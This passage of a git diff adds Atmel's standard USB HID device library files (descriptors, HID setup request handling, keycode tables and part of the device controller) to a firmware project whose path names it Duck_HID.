= LE16((USB_DEVICE_MAJOR_VERSION << 8) + | USB_DEVICE_MINOR_VERSION), +#ifdef USB_DEVICE_MANUFACTURE_NAME + .iManufacturer = 1, +#else + .iManufacturer = 0, // No manufacture string +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + .iProduct = 2, +#else + .iProduct = 0, // No product string +#endif +#ifdef USB_DEVICE_SERIAL_NAME + .iSerialNumber = 3, +#else + .iSerialNumber = 0, // No serial string +#endif + .bNumConfigurations = 1 +}; + + +#ifdef USB_DEVICE_HS_SUPPORT +//! USB Device Qualifier Descriptor for HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_qual_desc_t udc_device_qual = { + .bLength = sizeof(usb_dev_qual_desc_t), + .bDescriptorType = USB_DT_DEVICE_QUALIFIER, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .bNumConfigurations = 1 +}; +#endif + +//! Structure for USB Device Configuration Descriptor +COMPILER_PACK_SET(1); +typedef struct { + usb_conf_desc_t conf; + udi_hid_kbd_desc_t hid_kbd; +} udc_desc_t; +COMPILER_PACK_RESET(); + +//! USB Device Configuration Descriptor filled for FS and HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE udc_desc_t udc_desc = { + .conf.bLength = sizeof(usb_conf_desc_t), + .conf.bDescriptorType = USB_DT_CONFIGURATION, + .conf.wTotalLength = LE16(sizeof(udc_desc_t)), + .conf.bNumInterfaces = USB_DEVICE_NB_INTERFACE, + .conf.bConfigurationValue = 1, + .conf.iConfiguration = 0, + .conf.bmAttributes = USB_CONFIG_ATTR_MUST_SET | USB_DEVICE_ATTR, + .conf.bMaxPower = USB_CONFIG_MAX_POWER(USB_DEVICE_POWER), + .hid_kbd = UDI_HID_KBD_DESC, +}; + + +/** + * \name UDC structures which contains all USB Device definitions + */ +//@{ + +//! Associate an UDI for each USB interface +UDC_DESC_STORAGE udi_api_t *udi_apis[USB_DEVICE_NB_INTERFACE] = { + &udi_api_hid_kbd, +}; + +//! Add UDI with USB Descriptors FS & HS +UDC_DESC_STORAGE udc_config_speed_t udc_config_fshs[1] = {{ + .desc = (usb_conf_desc_t UDC_DESC_STORAGE*)&udc_desc, + .udi_apis = udi_apis, +}}; + +//! Add all information about USB Device in global structure for UDC +UDC_DESC_STORAGE udc_config_t udc_config = { + .confdev_lsfs = &udc_device_desc, + .conf_lsfs = udc_config_fshs, +#ifdef USB_DEVICE_HS_SUPPORT + .confdev_hs = &udc_device_desc, + .qualifier = &udc_device_qual, + .conf_hs = udc_config_fshs, +#endif +}; + +//@} +/**INDENT-ON**/ +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c new file mode 100755 index 0000000..3f4c076 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.c @@ -0,0 +1,162 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" + + +/** + * \addtogroup udi_hid_group + * @{ + */ + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Send the specific descriptors requested by SETUP request + * + * \retval true if the descriptor is supported + */ +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc); + +//@} + +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ) +{ + if (Udd_setup_is_in()) { + // Requests Interface GET + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + // Requests Standard Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_GET_DESCRIPTOR: + return udi_hid_reqstdifaceget_descriptor(report_desc); + } + } + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_GET_REPORT: + // TODO + break; + + case USB_REQ_HID_GET_IDLE: + udd_g_ctrlreq.payload = rate; + udd_g_ctrlreq.payload_size = 1; + return true; + + case USB_REQ_HID_GET_PROTOCOL: + udd_g_ctrlreq.payload = protocol; + udd_g_ctrlreq.payload_size = 1; + return true; + } + } + } + if (Udd_setup_is_out()) { + // Requests Interface SET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Set + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_SET_REPORT: + return set_report(); + + case USB_REQ_HID_SET_IDLE: + *rate = udd_g_ctrlreq.req.wValue >> 8; + return true; + + case USB_REQ_HID_SET_PROTOCOL: + if (0 != udd_g_ctrlreq.req.wLength) + return false; + *protocol = udd_g_ctrlreq.req.wValue; + return true; + } + } + } + return false; // Request not supported +} + + +//--------------------------------------------- +//------- Internal routines + +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc) +{ + usb_hid_descriptor_t UDC_DESC_STORAGE *ptr_hid_desc; + + // Get the USB descriptor which is located after the interface descriptor + // This descriptor must be the HID descriptor + ptr_hid_desc = (usb_hid_descriptor_t UDC_DESC_STORAGE *) ((uint8_t *) + udc_get_interface_desc() + sizeof(usb_iface_desc_t)); + if (USB_DT_HID != ptr_hid_desc->bDescriptorType) + return false; + + // The SETUP request can ask for: + // - an USB_DT_HID descriptor + // - or USB_DT_HID_REPORT descriptor + // - or USB_DT_HID_PHYSICAL descriptor + if (USB_DT_HID == (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // USB_DT_HID descriptor requested then send it + udd_g_ctrlreq.payload = (uint8_t *) ptr_hid_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + ptr_hid_desc->bLength); + return true; + } + // The HID_X descriptor requested must correspond to report type + // included in the HID descriptor + if (ptr_hid_desc->bRDescriptorType == + (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // Send HID Report descriptor given by high level + udd_g_ctrlreq.payload = report_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + le16_to_cpu(ptr_hid_desc->wDescriptorLength)); + return true; + } + return false; +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h new file mode 100755 index 0000000..d12f8f3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/device/udi_hid.h @@ -0,0 +1,82 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_H_ +#define _UDI_HID_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_group + * \defgroup udi_hid_group UDI for Human Interface Device Class + * + * @{ + */ + +/** + * \name Interface for application + */ +//@{ + +/** + * \brief Decode HID setup request + * + * \param rate Pointer on rate of current HID interface + * \param protocol Pointer on protocol of current HID interface + * \param report_desc Pointer on report descriptor of current HID interface + * \param set_report Pointer on set_report callback of current HID interface + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h new file mode 100755 index 0000000..88b68ca --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/class/hid/usb_protocol_hid.h @@ -0,0 +1,333 @@ +/** + * \file + * + * \brief USB Human Interface Device (HID) protocol definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_HID_H_ +#define _USB_PROTOCOL_HID_H_ + +/** + * \ingroup usb_protocol_group + * \defgroup usb_hid_protocol USB Human Interface Device (HID) + * protocol definitions + * \brief USB Human Interface Device (HID) protocol definitions + * + * @{ + */ + +/** + * \name Possible Class value + */ +//@{ +#define HID_CLASS 0x03 +//@} + +/** + * \name Possible SubClass value + */ +//@{ +//! Interface subclass NO support BOOT protocol +#define HID_SUB_CLASS_NOBOOT 0x00 +//! Interface subclass support BOOT protocol +#define HID_SUB_CLASS_BOOT 0x01 +//@} + +/** + * \name Possible protocol value + */ +//@{ +//! Protocol generic standard +#define HID_PROTOCOL_GENERIC 0x00 +//! Protocol keyboard standard +#define HID_PROTOCOL_KEYBOARD 0x01 +//! Protocol mouse standard +#define HID_PROTOCOL_MOUSE 0x02 +//@} + + +/** + * \brief Hid USB requests (bRequest) + */ +enum usb_reqid_hid { + USB_REQ_HID_GET_REPORT = 0x01, + USB_REQ_HID_GET_IDLE = 0x02, + USB_REQ_HID_GET_PROTOCOL = 0x03, + USB_REQ_HID_SET_REPORT = 0x09, + USB_REQ_HID_SET_IDLE = 0x0A, + USB_REQ_HID_SET_PROTOCOL = 0x0B, +}; + +/** + * \brief HID USB descriptor types + */ +enum usb_descriptor_type_hid { + USB_DT_HID = 0x21, + USB_DT_HID_REPORT = 0x22, + USB_DT_HID_PHYSICAL = 0x23, +}; + +/** + * \brief HID Type for report descriptor + */ +enum usb_hid_item_report_type { + USB_HID_ITEM_REPORT_TYPE_MAIN = 0, + USB_HID_ITEM_REPORT_TYPE_GLOBAL = 1, + USB_HID_ITEM_REPORT_TYPE_LOCAL = 2, + USB_HID_ITEM_REPORT_TYPE_LONG = 3, +}; + + +/** + * \brief HID report type + */ +enum usb_hid_report_type { + USB_HID_REPORT_TYPE_INPUT = 1, + USB_HID_REPORT_TYPE_OUTPUT = 2, + USB_HID_REPORT_TYPE_FEATURE = 3, +}; + + +/** + * \brief HID protocol + */ +enum usb_hid_protocol { + USB_HID_PROCOTOL_BOOT = 0, + USB_HID_PROCOTOL_REPORT = 1, +}; + +COMPILER_PACK_SET(1); + +/** + * \brief HID Descriptor + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< HID descriptor type + le16_t bcdHID; //!< Binay Coded Decimal Spec. release + uint8_t bCountryCode; //!< Hardware target country + uint8_t bNumDescriptors; //!< Number of HID class descriptors to follow + uint8_t bRDescriptorType; //!< Report descriptor type + le16_t wDescriptorLength; //!< Total length of Report descriptor +} usb_hid_descriptor_t; + + //! \name Structure for report item + //! @{ + +COMPILER_PACK_RESET(); + + //! \name HID Report type + //! Used by SETUP_HID_GET_REPORT & SETUP_HID_SET_REPORT + //! @{ +#define REPORT_TYPE_INPUT 0x01 +#define REPORT_TYPE_OUTPUT 0x02 +#define REPORT_TYPE_FEATURE 0x03 + //! @} + + //! \name Constants of field DESCRIPTOR_HID + //! @{ +//! Numeric expression identifying the HID Class +//! Specification release (here V1.11) +#define USB_HID_BDC_V1_11 0x0111 +//! Numeric expression specifying the number of class descriptors +//! Note: Always at least one i.e. Report descriptor. +#define USB_HID_NUM_DESC 0x01 + + //! \name Country code + //! @{ +#define USB_HID_NO_COUNTRY_CODE 0 // Not Supported +#define USB_HID_COUNTRY_ARABIC 1 // Arabic +#define USB_HID_COUNTRY_BELGIAN 2 // Belgian +#define USB_HID_COUNTRY_CANADIAN_BILINGUAL 3 // Canadian-Bilingual +#define USB_HID_COUNTRY_CANADIAN_FRENCH 4 // Canadian-French +#define USB_HID_COUNTRY_CZECH_REPUBLIC 5 // Czech Republic +#define USB_HID_COUNTRY_DANISH 6 // Danish +#define USB_HID_COUNTRY_FINNISH 7 // Finnish +#define USB_HID_COUNTRY_FRENCH 8 // French +#define USB_HID_COUNTRY_GERMAN 9 // German +#define USB_HID_COUNTRY_GREEK 10 // Greek +#define USB_HID_COUNTRY_HEBREW 11 // Hebrew +#define USB_HID_COUNTRY_HUNGARY 12 // Hungary +#define USB_HID_COUNTRY_INTERNATIONAL_ISO 13 // International (ISO) +#define USB_HID_COUNTRY_ITALIAN 14 // Italian +#define USB_HID_COUNTRY_JAPAN_KATAKANA 15 // Japan (Katakana) +#define USB_HID_COUNTRY_KOREAN 16 // Korean +#define USB_HID_COUNTRY_LATIN_AMERICAN 17 // Latin American +#define USB_HID_COUNTRY_NETHERLANDS_DUTCH 18 // Netherlands/Dutch +#define USB_HID_COUNTRY_NORWEGIAN 19 // Norwegian +#define USB_HID_COUNTRY_PERSIAN_FARSI 20 // Persian (Farsi) +#define USB_HID_COUNTRY_POLAND 21 // Poland +#define USB_HID_COUNTRY_PORTUGUESE 22 // Portuguese +#define USB_HID_COUNTRY_RUSSIA 23 // Russia +#define USB_HID_COUNTRY_SLOVAKIA 24 // Slovakia +#define USB_HID_COUNTRY_SPANISH 25 // Spanish +#define USB_HID_COUNTRY_SWEDISH 26 // Swedish +#define USB_HID_COUNTRY_SWISS_FRENCH 27 // Swiss/French +#define USB_HID_COUNTRY_SWISS_GERMAN 28 // Swiss/German +#define USB_HID_COUNTRY_SWITZERLAND 29 // Switzerland +#define USB_HID_COUNTRY_TAIWAN 30 // Taiwan +#define USB_HID_COUNTRY_TURKISH_Q 31 // Turkish-Q +#define USB_HID_COUNTRY_UK 32 // UK +#define USB_HID_COUNTRY_US 33 // US +#define USB_HID_COUNTRY_YUGOSLAVIA 34 // Yugoslavia +#define USB_HID_COUNTRY_TURKISH_F 35 // Turkish-F + //! @} + //! @} +//! @} + + +//! \name HID KEYS values +//! @{ +#define HID_A 0x04 +#define HID_B 0x05 +#define HID_C 0x06 +#define HID_D 0x07 +#define HID_E 0x08 +#define HID_F 0x09 +#define HID_G 0x0A +#define HID_H 0x0B +#define HID_I 0x0C +#define HID_J 0x0D +#define HID_K 0x0E +#define HID_L 0x0F +#define HID_M 0x10 +#define HID_N 0x11 +#define HID_O 0x12 +#define HID_P 0x13 +#define HID_Q 0x14 +#define HID_R 0x15 +#define HID_S 0x16 +#define HID_T 0x17 +#define HID_U 0x18 +#define HID_V 0x19 +#define HID_W 0x1A +#define HID_X 0x1B +#define HID_Y 0x1C +#define HID_Z 0x1D +#define HID_1 30 +#define HID_2 31 +#define HID_3 32 +#define HID_4 33 +#define HID_5 34 +#define HID_6 35 +#define HID_7 36 +#define HID_8 37 +#define HID_9 38 +#define HID_0 39 +#define HID_ENTER 40 +#define HID_ESCAPE 41 +#define HID_BACKSPACE 42 +#define HID_TAB 43 +#define HID_SPACEBAR 44 +#define HID_UNDERSCORE 45 +#define HID_PLUS 46 +#define HID_OPEN_BRACKET 47 // { +#define HID_CLOSE_BRACKET 48 // } +#define HID_BACKSLASH 49 +#define HID_ASH 50 // # ~ +#define HID_COLON 51 // ; : +#define HID_QUOTE 52 // ' " +#define HID_TILDE 53 +#define HID_COMMA 54 +#define HID_DOT 55 +#define HID_SLASH 56 +#define HID_CAPS_LOCK 57 +#define HID_F1 58 +#define HID_F2 59 +#define HID_F3 60 +#define HID_F4 61 +#define HID_F5 62 +#define HID_F6 63 +#define HID_F7 64 +#define HID_F8 65 +#define HID_F9 66 +#define HID_F10 67 +#define HID_F11 68 +#define HID_F12 69 +#define HID_PRINTSCREEN 70 +#define HID_SCROLL_LOCK 71 +#define HID_PAUSE 72 +#define HID_INSERT 73 +#define HID_HOME 74 +#define HID_PAGEUP 75 +#define HID_DELETE 76 +#define HID_END 77 +#define HID_PAGEDOWN 78 +#define HID_RIGHT 79 +#define HID_LEFT 80 +#define HID_DOWN 81 +#define HID_UP 82 +#define HID_KEYPAD_NUM_LOCK 83 +#define HID_KEYPAD_DIVIDE 84 +#define HID_KEYPAD_AT 85 +#define HID_KEYPAD_MULTIPLY 85 +#define HID_KEYPAD_MINUS 86 +#define HID_KEYPAD_PLUS 87 +#define HID_KEYPAD_ENTER 88 +#define HID_KEYPAD_1 89 +#define HID_KEYPAD_2 90 +#define HID_KEYPAD_3 91 +#define HID_KEYPAD_4 92 +#define HID_KEYPAD_5 93 +#define HID_KEYPAD_6 94 +#define HID_KEYPAD_7 95 +#define HID_KEYPAD_8 96 +#define HID_KEYPAD_9 97 +#define HID_KEYPAD_0 98 + + //! \name HID modifier values + //! @{ +#define HID_MODIFIER_NONE 0x00 +#define HID_MODIFIER_LEFT_CTRL 0x01 +#define HID_MODIFIER_LEFT_SHIFT 0x02 +#define HID_MODIFIER_LEFT_ALT 0x04 +#define HID_MODIFIER_LEFT_UI 0x08 +#define HID_MODIFIER_RIGHT_CTRL 0x10 +#define HID_MODIFIER_RIGHT_SHIFT 0x20 +#define HID_MODIFIER_RIGHT_ALT 0x40 +#define HID_MODIFIER_RIGHT_UI 0x80 + //! @} +//! @} + +//! \name HID KEYS values +//! @{ +#define HID_LED_NUM_LOCK (1<<0) +#define HID_LED_CAPS_LOCK (1<<1) +#define HID_LED_SCROLL_LOCK (1<<2) +#define HID_LED_COMPOSE (1<<3) +#define HID_LED_KANA (1<<4) +//! @} + +#endif // _USB_PROTOCOL_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c new file mode 100755 index 0000000..76eba88 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.c @@ -0,0 +1,1010 @@ +/** + * \file + * + * \brief USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi.h" +#include "udc.h" + +/** + * \addtogroup udc_group + * @{ + */ + +//! \name Internal variables to manage the USB device +//! @{ + +//! Device status state (see enum usb_device_status in usb_protocol.h) +static le16_t udc_device_status; +//! Device Configuration number selected by the USB host +static uint8_t udc_num_configuration = 0; +//! Pointer on the selected speed device configuration +static udc_config_speed_t UDC_DESC_STORAGE *udc_ptr_conf; +//! Pointer on interface descriptor used by SETUP request. +static usb_iface_desc_t UDC_DESC_STORAGE *udc_ptr_iface; + +//! @} + + +//! \name Internal structure to store the USB device main strings +//! @{ + +/** + * \brief Language ID of USB device (US ID by default) + */ +static UDC_DESC_STORAGE usb_str_lgid_desc_t udc_string_desc_languageid = { + .desc.bLength = sizeof(usb_str_lgid_desc_t), + .desc.bDescriptorType = USB_DT_STRING, + .string = {LE16(USB_LANGID_EN_US)} +}; + +/** + * \brief USB device manufacture name storage + * String is allocated only if USB_DEVICE_MANUFACTURE_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_MANUFACTURE_NAME +static uint8_t udc_string_manufacturer_name[] = USB_DEVICE_MANUFACTURE_NAME; +#define USB_DEVICE_MANUFACTURE_NAME_SIZE (sizeof(udc_string_manufacturer_name)-1) +#else +#define USB_DEVICE_MANUFACTURE_NAME_SIZE 0 +#endif + + +/** + * \brief USB device product name storage + * String is allocated only if USB_DEVICE_PRODUCT_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_PRODUCT_NAME +static uint8_t udc_string_product_name[] = USB_DEVICE_PRODUCT_NAME; +#define USB_DEVICE_PRODUCT_NAME_SIZE (sizeof(udc_string_product_name)-1) +#else +#define USB_DEVICE_PRODUCT_NAME_SIZE 0 +#endif + +/** + * \brief USB device serial number storage + * String is allocated only if USB_DEVICE_SERIAL_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_SERIAL_NAME +static uint8_t udc_string_serial_name[] = USB_DEVICE_SERIAL_NAME; +#define USB_DEVICE_SERIAL_NAME_SIZE (sizeof(udc_string_serial_name)-1) +#else +#define USB_DEVICE_SERIAL_NAME_SIZE 0 +#endif + + +/** + * \brief USB device string descriptor + * Structure used to transfer ASCII strings to USB String descriptor structure. + */ +struct udc_string_desc_t { + usb_str_desc_t header; + le16_t string[Max(Max(USB_DEVICE_MANUFACTURE_NAME_SIZE, \ + USB_DEVICE_PRODUCT_NAME_SIZE), USB_DEVICE_SERIAL_NAME_SIZE)]; +}; +static UDC_DESC_STORAGE struct udc_string_desc_t udc_string_desc = { + .header.bDescriptorType = USB_DT_STRING +}; +//! @} + + + +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void) +{ + return udc_ptr_iface; +} + +/** + * \brief Returns a value to check the end of USB Configuration descriptor + * + * \return address after the last byte of USB Configuration descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_get_eof_conf(void) +{ + return (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) + udc_ptr_conf->desc + + le16_to_cpu(udc_ptr_conf->desc->wTotalLength)); +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Search specific descriptor in global interface descriptor + * + * \param desc Address of interface descriptor + * or previous specific descriptor found + * \param desc_id Descriptor ID to search + * + * \return address of specific descriptor found + * \return NULL if it is the end of global interface descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_next_desc_in_iface(usb_conf_desc_t + UDC_DESC_STORAGE * desc, uint8_t desc_id) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_eof_desc; + + ptr_eof_desc = udc_get_eof_conf(); + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) + return desc; // Specific descriptor found + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + } + return NULL; // No specific descriptor found +} +#endif + + +/** + * \brief Search an interface descriptor + * This routine updates the internal pointer udc_ptr_iface. + * + * \param iface_num Interface number to find in Configuration Descriptor + * \param setting_num Setting number of interface to find + * + * \return 1 if found or 0 if not found + */ +static bool udc_update_iface_desc(uint8_t iface_num, uint8_t setting_num) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_end_desc; + + if (0 == udc_num_configuration) + return false; + + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Start at the beginning of configuration descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { + // A interface descriptor is found + // Check interface and alternate setting number + if ((iface_num == udc_ptr_iface->bInterfaceNumber) + && (setting_num == + udc_ptr_iface-> + bAlternateSetting)) + return true; // Interface found + } + // Go to next descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) ((uint8_t + *) udc_ptr_iface + + udc_ptr_iface->bLength); + } + return false; // Interface not found +} + + +/** + * \brief Disables an usb device interface (UDI) + * This routine call the UDI corresponding to interface number + * + * \param iface_num Interface number to disable + * + * \return 1 if it is done or 0 if 